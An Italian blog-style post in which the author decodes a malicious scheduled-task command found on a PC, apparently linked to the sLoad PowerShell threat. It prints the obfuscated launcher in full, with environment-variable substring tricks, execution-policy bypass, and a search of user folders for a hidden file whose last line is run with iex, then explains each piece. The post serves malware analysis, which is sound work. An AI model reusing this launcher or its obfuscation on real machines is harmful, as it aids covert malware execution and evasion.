Oggi mi sono imbattuto in un virus
che mi ha leggermente incuriosito.
Nel task manager era schedulato un
job che esegue il seguente comando.
Il sintomo è che durante l'utilizzo
del PC, ogni due minuti appariva un prompt dei comandi che eseguiva taskeng.
C:\Windows\system32\cmd.exe /c pow%tmp:~5,3%hell /ep bypass /win 1 /c
"&{cd %public:~-15,9%;$y=ls -force -r -in comu*.*|select -last 1;$y=gc
-LiteralPath $y|select -last 1;iex $y}"
Mi ha incuriosito perche di primo
acchito non ho capito pressoché nulla, cosi ho pensato di tradurlo...
Chiariti un paio di dettagli
diventa leggermente piu facile interpretarlo:
Parametri Powershell. E possible avviare powershell usando una
serie di parametri. Nel nostro caso:
/ep bypass = imposta l'execution
policy dello script in bypass per poter eseguire i comandi seguenti senza
restrizioni (-ExecutionPolicy | -ex | -ep)
/win 1 = imposta la modalita della finestra windowstyle (Valid values
are Normal, Minimized, Maximized and Hidden)
/c Esegue una comando
Molti comandi in powershell possono
essere abbreviati usando degli alias:
ls = get-childitem
gc = get-content
iex = invoke-expression
Per visualizzare il contenuto di
una variabile basta aprire un prompt dei comandi ed usare il comando echo.
ES:
echo %tmp:~5,3% = "ers" (leggi
la variabile %tmp%, e di questa, partendo dal quinto carattere,
prendi i primi tre consecutivi.
%tmp% = C:\Users\xxxxxxx\AppData\Local\Temp
%tmp:~5,3% (leggi tre caratteri
partendo dal quinto carattere della variabile %tmp%)
echo %public:~-15,9% = "C:\Users"
In sintesi il comando apre una
powershell con permessi elevati e senza limitazioni ed esegue un comando
scritto in un file
TRADUZIONE
C:\Windows\system32\cmd.exe /c =
apri un prompt dei comandi ed esegui quanto segue
pow%tmp:~5,3%hell =
dalla variabile %tmp% leggi tre caratteri partendo dal quinto. Corrisponde alla
string "ers"
/c "&{cd %public:~-15,9%;$y=ls -force -r -in comu*.*|select -last 1;$y=gc -LiteralPath $y|select -last 1;iex $y}" (esegue un comando)
/c "&{cd %public:~-15,9%;$y=ls -force -r -in comu*.*|select -last 1;$y=gc -LiteralPath $y|select -last 1;iex $y}" (esegue un comando)
cd %public:~-15,9% = cd c:\Users
$y=ls -force -r -in
comu*.*|select -last 1
- cerca nella cartella c:\users e rispettive sottocartelle tutti i file che iniziano per comu*.* e seleziona l'ultimo
$y=gc -LiteralPath $y|select -last 1
- del file selezionato legge tutte le righe una ad una e seleziona l'ultima. Literlpath e' un parametro che impedisce l'interpretazione dei caratteri speciali.
No literal path c:\%zzz%mondo = c:\ciaomondo
Literal path c:\%zzz%mondo = c:\%zzz%mondo
iex $y
- esegue il comando $y
Direi che manca ancora qualche pezzo da mettere insieme...
RIFERIMENTI
https://security.stackexchange.com/questions/213942/undetected-trojan-what-type-of-scheduled-task-is-this/213950
https://www.bleepingcomputer.com/forums/t/701329/undetected-trojan/
https://docs.microsoft.com/it-it/powershell/module/Microsoft.PowerShell.Core/About/about_pwsh?view=powershell-6
https://docs.microsoft.com/it-it/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1
https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/
https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/